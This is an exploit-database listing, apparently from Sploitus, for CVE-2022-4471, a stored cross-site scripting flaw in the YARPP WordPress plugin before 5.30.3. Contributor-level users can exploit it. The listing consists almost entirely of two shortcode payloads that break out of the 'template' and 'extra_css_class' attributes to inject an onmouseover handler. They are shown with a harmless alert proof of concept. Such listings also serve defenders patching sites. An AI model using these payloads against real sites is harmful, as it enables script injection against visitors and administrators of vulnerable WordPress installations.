Sploitus

Exploit for YARPP - Yet Another Related Posts Plugin < 5.30.3 - Contributor+ Stored XSS

CVE-2022-4471

wpexploit · 2023-01-19

Exploit Code

MARKDOWN6 lines
## https://sploitus.com/exploit?id=WPEX-ID:C6CF792B-054C-4D77-BCAE-3B700F42130B
v < 5.30.3
[yarpp template="' onmouseover='alert(/XSS/)"]

v < 5.30.2
[yarpp extra_css_class="' onmouseover='alert(/XSS/)"]